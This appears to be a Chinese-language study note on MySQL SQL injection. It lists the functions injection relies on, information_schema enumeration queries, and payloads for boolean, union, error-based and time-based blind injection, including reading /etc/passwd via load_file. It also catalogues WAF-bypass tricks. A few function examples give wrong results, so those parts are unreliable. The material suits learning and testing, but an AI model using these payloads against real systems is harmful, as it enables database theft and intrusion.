将恶意SQL语句代码作为输入数据传递到服务器,然后它被拼接到SQL语句中交给数据库解析执行,导致执行一些恶意的操作。
1、@为用户变量,使用SET @var1=1赋值;
2、@@ 为系统变量 ,包括查询全局变量:
> show global variables \G;
和查询会话变量:
> show session variables \G;
---------------------------------------------------------
> 或show variables;
(1)、条件1 and 条件2 ;当条件1成立执行条件2;
(2)、条件1 or 条件2 ;当条件1不成立执行条件2;
(3)、条件1 xor 条件2 ;当条件1不成立执行条件2;
函数名 | 函数作用 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | MYSQL数据库版本 |
@@datadir | 读取数据库路径 |
@@basedir | MYSQL 安装路径 |
@@version_compile_os | 服务器所在主机的操作系统版本 |
concat() | concat(str1,str2,str3),返回str1+str2+str3,(当有一个字符串为NULL时,即返回NULL) |
concat_ws() | concat_ws(‘separato’;,str1,str2,str3),返回str1+separator+str2+separator+str3;EG: concat_ws(’<>’,version(),database(),user())–>(XXX<>XXX<>XXX) (第一个参数(separato)指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null)) |
group_concat() | group_concat(str1,str2,str3),返回str1+str2+str3 (group by产生的同一个分组中的值连接起来,返回一个字符串结果) |
ascii()/ord() | ascii(a)/ord(a)将a转换成其ASCII值 |
count() | 计算结果集的数量 |
length() | 返回指定字符串的长度;EG: length(database()) |
left() | left(a,b)从左往右截取字符串a的前b个字符 |
substr()/substring() | substr(string,start,len)/substring(string,start,len) ,从string的start位开始截取len个字符 |
if() | if(1,2,3),如果1为True,则执行2,否则执行3 |
sleep() | sleep(x),执行延迟x秒 |
Benchmark() | Benchmark(x,1),执行表达式1,x次 (会消耗CPU,慎用) |
updatexml() | UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称;第二个参数:XPath_string 是Xpath格式的字符串;第三个参数:new_value是String格式,替换查找到的符合条件的数据;EG: updatexml(1,concat(0x23,database(),0x23),1) |
extractvalue() | extractvalue(xml_frag,xpath_expr); xml_frag: 目标xml文档;xpath_expr: 利用Xpath路径法表示的查找路径,;EG: extractvalue(1,concat(x023,database(),0x23)) |
mid() | mid(a,b,c)从位置b开始,截取a字符串的c位 |
floor(): | 去除小数部分,向下取整数 |
rand() | 产生0~1的随机数;rand(x): 每个X对应一个固定的值,但是如果连续多次执行会变化,但是可以预测;EG: rand(0): 产生的序列是011011 |
… | … |
如果字符串相同,则STRCMP()返回0;如果第一个参数根据当前排序顺序小于第二个参数,则返回-1,否则返回1;
EG:
> SELECT STRCMP('test','test');
//返回‘0’;
------------------------------------------
> SELECT STRCMP('test1','test');
//返回‘1’
-------------------------------------------
> SELECT STRCMP('test','test1');
//返回‘-1’
像Php中的preg之类的函数,在Mysql中,如果只是简单的查询匹配使用like即可,但复杂的还是需要使用regexp正则函数;
mysql正则规则:
模式 | 模式作用 |
---|---|
^ | 匹配字符串的开始 |
$ | 匹配字符串的结尾 |
. | 匹配任何单个字符 |
[…] | 匹配在方括号内的任何字符列表 |
[^…] | 匹配非列在方括号内的任何字符 |
* | 匹配零个或多个前面的元素 |
+ | 匹配前面的元素的一个或多个实例 |
{n} | 匹配前面的元素的n个实例 |
{m,n} | 匹配m到n个实例前面的元素 |
m|mn|n | 匹配序列m或mn或n |
(mn)* | 匹配序列mn的0个或者多个实例 |
… | … |
EG:
> SELECT * FROM users WHERE username REGEXP '^a.+n$';
//匹配查询结果的‘username’值中,以‘a’开头和以‘n’结尾的字符串;
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP '[k]';
//匹配查询结果的‘username’值中,含有‘k’的字符串
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP 'Dum|my|kan';
//匹配查询结果的‘username’值中,含有‘Dum’或‘my’或‘kan’的字符串
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP 'm{2,3}';
//匹配查询结果的‘username’值中,含有‘m’两个或三个的字符串
---------------------------------------------------------
> SELECT * FROM users WHERE username REGEXP '(man)+';
//匹配查询结果的‘username’值中,含有‘man’一个或者多个的字符串
---------------------------------------------------------
EG:
> SELECT LOWER('TEST_test');
//返回‘ test_test’
EG:
> SELECT UPPER('TEST_test');
//返回‘TEST_TEST’
str1是一个字符串,length是函数返回结果字符串的长度,str2是一个填充字符串;如果str1的长度小于length,则使用str2填充;如果str1的长度大于length,则截断。
EG:
> SELECT LPAD('TE_ST',5,'TE');
//返回‘ TE_ST’;
---------------------------------------------------------
> SELECT LPAD('TE_ST_test',5,'TE');
//返回‘TE_ST’;
返回删除了前面空格字符的字符串str(与之相反的函数是RTRIM(str):返回删除了后面空格字符的字符串str)。
EG:
> SELECT LTRIM(' _TEST');
//返回‘_TEST’
---------------------------------------------------------
> SELECT RTRIM('TEST_ ');
//返回‘_TEST’
bits转换成二进制然后取到(如:1:0001->1000)返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应第0位,str2对应第1位,依此类推。如果在str1,str1有NULL值,…那么不添加到结果。
EG:
> SELECT MAKE_SET(1,'str1','str2','str3','str4');
//1:0001->1000,对应‘str1’,查询语句返回‘str1’;
---------------------------------------------------------
> SELECT MAKE_SET(5,'str1','str2','str3','str4');
//9:0101->1010,对应‘str1’,‘str3’,查询语句返回‘str1’,‘str3’;
第一个语法返回字符串substr中第一次出现在字符串str的位置;第二种语法返回字符串substr中第一次出现在字符串str的位置,同时从位置pos开始,如果substr不在str中,则返回0。如果substr或str为NULL,则返回NULL。
EG:
> SELECT LOCATE('test','TE_test_ST');
//返回‘4’;
---------------------------------------------------------
> SELECT LOCATE('test','TE_test_ST',5);
//返回‘0’
没有len参数的表示从位置pos开始返回字符串str的子字符串。带有len参数的是从字符串str返回一个子字符串len个字符,从位置pos开始。使用FROM的是标准SQL语法;(也可以对pos使用负值。在这种情况下,子字符串的开头是字符串末尾的pos字符,而不是开头。在该函数的任何形式中,负值可以用于pos)
EG:
> SELECT MID('TEST_test',3);
//返回‘ST_test’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test',3);
//返回‘ST_test’;
---------------------------------------------------------
> SELECT MID('TEST_test' FROM 3);
//返回‘ST_test’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test' FROM 3);
//返回‘ST_test’;
---------------------------------------------------------
> SELECT MID('TEST_test',3,4);
//返回‘ST_t’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test',3,4);
//返回‘ST_t’;
---------------------------------------------------------
> SELECT MID('TEST_test' FROM 3 FOR 4);
//返回‘ST_t’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test' FROM 3 FOR 4);
//返回‘ST_t’;
---------------------------------------------------------
> SELECT MID('TEST_test' FROM -3 FOR 4);
//返回‘est’;
---------------------------------------------------------
> SELECT SUBSTRING('TEST_test' FROM -3 FOR 4);
//返回‘est’;
如果count是正数,那么就是从左往右数,第N个分隔符的左边的全部内容相反,如果是负数,那么就是从右边开始数,第N个分隔符右边的所有内容;
EG:
> SELECT SUBSTRING_INDEX('TEST_test_TEST_test','_',3);
//返回‘TEST_test_TEST’;
---------------------------------------------------------
> SELECT SUBSTRING_INDEX('TEST_test_TEST_test','_',-3);
//返回‘test_TEST_test’;
将字符串str转换为base64编码:
EG:
> SELECT TO_BASE64('TEST');
//返回‘VEVTVA==’;
使用UNIX crypt()系统加密字符串,ENCRYPT()函数接收要加密的字符串和(可选的)用于加密过程的salt(一个可以唯一确定口令的字符串,就像钥匙一样)。加密程度比ENCODE较强;注意,windows上不支持
EG:
> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS");
//返回‘’;
EG:
> show databases;
//显示当前DBMS中的所有数据库名;
---------------------------------------------------------
> select schema_name from information_schema.schemata;
//通过information_schema实现查询当前DBMS中的所有数据库名;
---------------------------------------------------------
> use database_name;
//进入具体的一个数据库中;
---------------------------------------------------------
> show tables;
//显示当前数据库中的所有表名;
---------------------------------------------------------
> desc admin_users;
//查询表的结构;
---------------------------------------------------------
> select username,password from test.admin_users;
//查询test表'admin_users'列的具体字段;
---------------------------------------------------------
> select username,password from security.users limit 2,4;
//从2+1开始查询4个字段;
---------------------------------------------------------
> select table_name from information_schema.tables where table_schema='security';
//查询数据库'security'的中的表名;
---------------------------------------------------------
> select column_name from information_schema.columns where table_name='users';
//查询数据库'security'中的'user'表的所有列名;
---------------------------------------------------------
> create table hack(id INT(3),NAME VARCHAR(25),age INT(3),PRIMARY KEY(id));
//创建表;
---------------------------------------------------------
> INSERT into hack(id,NAME,age) VALUES(1,'admin',15);
//插入数据;
---------------------------------------------------------
> SELECT * from hack;
//查询数据;
---------------------------------------------------------
> UPDATE hack SET NAME='guest' WHERE id=1;
> UPDATE hack SET age=age+3 WHERE id=1;
//更新数据;
---------------------------------------------------------
> DELETE from hack WHERE id=2;
//删除数据;
---------------------------------------------------------
> drop database database_name;
//删除某个数据库;
---------------------------------------------------------
> drop table table_name;
//删除某个数据表;
---------------------------------------------------------
> alter table table_name drop column column_name;
//删除某一列;
---------------------------------------------------------
EG:
> '
---------------------------------------------------------
> 1+1 3-1
---------------------------------------------------------
> value + 0
---------------------------------------------------------
> 1 or 1=1 1) or (1=1
---------------------------------------------------------
> value or 1=2 value) or (1=1
---------------------------------------------------------
> 1 and 1=2 1) and (1=2
---------------------------------------------------------
> 1 or 'ab'='a'+'b' 1) or ('ab'='a'+'b'
---------------------------------------------------------
> 1 or 'ab'='a''b' 1) or ('ab'='a''b'
---------------------------------------------------------
> 1 or 'ab'='a'||'b' 1) or ('ab'='a'||'b'
---------------------------------------------------------
> 1 and 1=2 UNION SELECT
---------------------------------------------------------
> 1,load_file('/etc/passwd'),3,4,5,6,7,8
---------------------------------------------------------
> 1 and 1=2 union select
---------------------------------------------------------
> 1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33 /*
EG:
> '
---------------------------------------------------------
> 1' or '1'='1 1') or ('1'='1
---------------------------------------------------------
> value' or '1'='2 value') or ('1'='2
---------------------------------------------------------
> 1' and '1'='2 1') and ('1'='2
---------------------------------------------------------
> 1' or 'ab'='a'+'b' 1') or ('ab'='a'+'b
---------------------------------------------------------
> 1' or 'ab'='a''b 1') or ('ab'='a''b
---------------------------------------------------------
> 1' or 'ab'='a'||'b 1') or ('ab'='a'||'b
---------------------------------------------------------
> ' or 1=1/*
EG:
> admin'-- admin')--
---------------------------------------------------------
> admin'# admin')#
---------------------------------------------------------
> 1-- 1)--
---------------------------------------------------------
> 1-- 1)--
---------------------------------------------------------
> 1 or 1=1-- 1) or 1=1--
---------------------------------------------------------
> 'or'1'='1'1-- ') or '1' = '1'--
---------------------------------------------------------
> -1 and 1=2-- -1) and 1=2--
---------------------------------------------------------
> 'and '1'='2'-- ') and '1'='2'--
---------------------------------------------------------
> 1/*注释*/
EG:
> day=2010-07-22%27%29%3E0+and+1%3D2+or+1%3D2+or+1%3D1+and+datediff%28dd%2C%271111-9-9%27%2C%271111-11-19
---------------------------------------------------------
> day=2010-07-22%27%29%3E0+and+1%3D2+or+1%3D2+or+1%3D2+and+datediff%28dd%2C%271111-9-9%27%2C%271111-11-19
EG:
> id=1 and (select ascii(mid(user(),1,1))=49)
---------------------------------------------------------
> ' and 1=1 and '%25'='
---------------------------------------------------------
> " and 12=12 and "kn"="kn
---------------------------------------------------------
> " and 12=13 and "a"="a
---------------------------------------------------------
> type=creation_date; SELECT SLEEP(5)--
---------------------------------------------------------
> code=(select *from(select(ascii(mid(database()from(3)for(1)))=52 andsleep(5)))x)
---------------------------------------------------------
> orderby=rand(1=1)
---------------------------------------------------------
> orderby=rand(1=2)
---------------------------------------------------------
> 0'+AND+(SELECT+*+FROM+(SELECT(SLEEP(8)))a)+AND+'1'%3d'17178) AND (SELECT * FROM (SELECT(SLEEP(5)))PVdT)
AND(2410=2410.html
---------------------------------------------------------
> +(selectconvert(int,CHAR(52)+CHAR(67)+CHAR(117)+CHAR(70)+CHAR(48)+CHAR(98)+CHAR(48)+CHAR(66)+CHAR(111)+CHAR(82)+CHAR(51)) FROMsyscolumns)+
---------------------------------------------------------
> c' AND (SELECT * FROM (SELECT(SLEEP(5)))jDPC) AND'NvIX'='NvIX
---------------------------------------------------------
> 1'and @@version>0--
---------------------------------------------------------
> 1 and @@servername>0--
---------------------------------------------------------
> 1' and db_name()>0--
单引号被转义:
+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号,%09,%0a,%0b,%0c,%0d等;
大小写,双写关键字(uniounionn,unionunion),内联注释/*!union*/内联注释,编码;
&&,||,%26%26,|,!,大小写,双写关键字(anandd,andand),编码;
使用正则匹配
EG:
regexp binary ‘^.*$’;
或者使用笛卡儿积
EG:
union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2;
(将引号中的值转换为十六进制)
EG:
select column_name from information_schema.tables where table_name=0x7573657273;
EG:
‘xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or’
在使用盲注的时候,需要使用到mid(),substr(),limit函数。这些函数都需要使用到逗号。对于mid()和substr()函数可以使用from to的方式来替换:
EG:
select mid(database() from 1 for 1);
select substr(database() from 1 for 1);
EG:
select * from users where id=1 andascii(substr(database(),0,1))>64;等同于:select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
使用like 、rlike 、regexp 或者’<‘或者’>;
EG:
EG(注释):
> #
--------------------------------------------------------
> --
--------------------------------------------------------
> -- - //5.6.12特性,需要加空格
--------------------------------------------------------
> --+
--------------------------------------------------------
> //
--------------------------------------------------------
> /**/ //c风格注释
--------------------------------------------------------
> /**//**/ //多个注释
--------------------------------------------------------
> /*letmetest*/
--------------------------------------------------------
> ;
--------------------------------------------------------
> /!00000union/
//假如mysql版本号是5.6.17则00000/10000/../50000都可以用
EG(科学记数法):
> id=0e1union select
EG(空白字符):
> SQLite3 0A 0D 0C 09 20
> MySQL5 09 0A 0B 0C 0D A0 20
> PosgresSQL 0A 0D 0C 09 20
> Oracle 11g 00 0A 0D 0C 09 20
> MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
EG(回车换行):
[如有错误,请指出,拜托了<( _ _ )> !!!]
[参考文档]
(从容:我的WafBypass之道(SQL注入篇)https://xz.aliyun.com/t/368)
(面试知识点总结:SQL注入 https://www.yuque.com/books/share/bd8433e2-3682-4bf9-bbf7-cb5070764079/ngrdcx)